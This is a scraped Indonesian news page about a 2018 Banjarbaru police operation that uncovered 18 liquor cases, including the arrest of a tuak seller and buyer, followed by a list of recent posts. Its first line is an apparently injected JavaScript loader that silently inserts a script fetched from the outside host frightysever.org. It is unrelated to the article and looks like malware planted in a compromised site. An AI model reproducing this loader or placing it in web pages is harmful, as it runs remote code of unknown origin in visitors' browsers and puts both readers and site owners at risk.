(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

4 Hari Operasi Sikat Intan, Polres Banjarbaru Ungkap 18 Kasus Miras


BANJARBARU, Empat hari semenjak berlangsungnya Operasi Sikat Intan 2018 yang digelar Polres Banjarbaru, sebanyak 18 kasus miras berhasil diungkap. Salah satunya, kasus penangkapan penjual dan pembeli  tuak di Toko Damon, Jalan Pondok Empat RT 019/ RW O08, Kelurahan Loktabat Utara Kecamatan Banjarbaru Utara.

Penjual tuak bernama Josua Manalu (30) dan pembeli bernama Rahmadi (26), berhasil diringkus petugas dari Polsek Banjarbaru Kota. Kapolsek Banjarbaru Kota Kompol Purbo Raharjo mengatakan,  penggerebekan dilakukan pada Minggu (15/4) lalu.

Pada kasus ini, polisi lebih dulu menemukan pemuda bernama Rahmadi yang asyik menikmati air tuak. Polisi mengamankan  Rahmadi untuk dilakukan pemeriksaan. Kepada polisi, Rahmadi mengatakan membeli tuak di Toko Damon.

“Dari informasi tersebut kami langsung menuju lokasi dan berhasil menemukan 2 buah jerigen 20 liter dalam keadaan kosong yang diduga digunakan untuk menyimpan minuman tuak,” ungkap Kompol Purbo Raharjo.

Selain itu, polisi mengamankan uang hasil penjualan Tuak sebesar Rp 235.000 dan 1 ( satu ) kantong plastik berisi tuak 1 liter. Saat ini Josua dan pembeli bernama Rahmadi beserta barang buktinya sudah dibawa ke Mapolsek Banjarbaru Kota untuk dilakukan pemeriksaan. “Kami kenakan pasal Tipiring yang mana barang bukti dan tersangka akan langsung dilakukan sidang di Pengadilan Negeri Banjarbaru,” jelas Kapolsek.

Sementara itu Kapolres Banjarbaru AKBP Kelana Jaya saat di temui di Mapolres Banjarbaru menjelaskan, Operasi Sikat Intan 2018 digelar dari tanggal 12 April-25 April 2018. “Adapun untuk targetnya meliputi kekerasan jalanan, judi togel, sajam, narkoba, UU Kesehatan, illegal loging, tipiring minuman keras dan lalu lintas,” tegas AKBP Kelana Jaya.

“Dalam Operasi Sikat Intan 2018 yang sudah berjalan selama 4 hari ini, Polres Banjarbaru sudah berhasil mengungkap tindak pidana ringan berupa minuman keras yang ada di kota banjarbaru sebanyak 18 kasus dengan tersangka sebanyak 18 orang”, tambahnya.(rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

4 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

4 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

5 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

5 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

5 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

5 jam ago

This website uses cookies.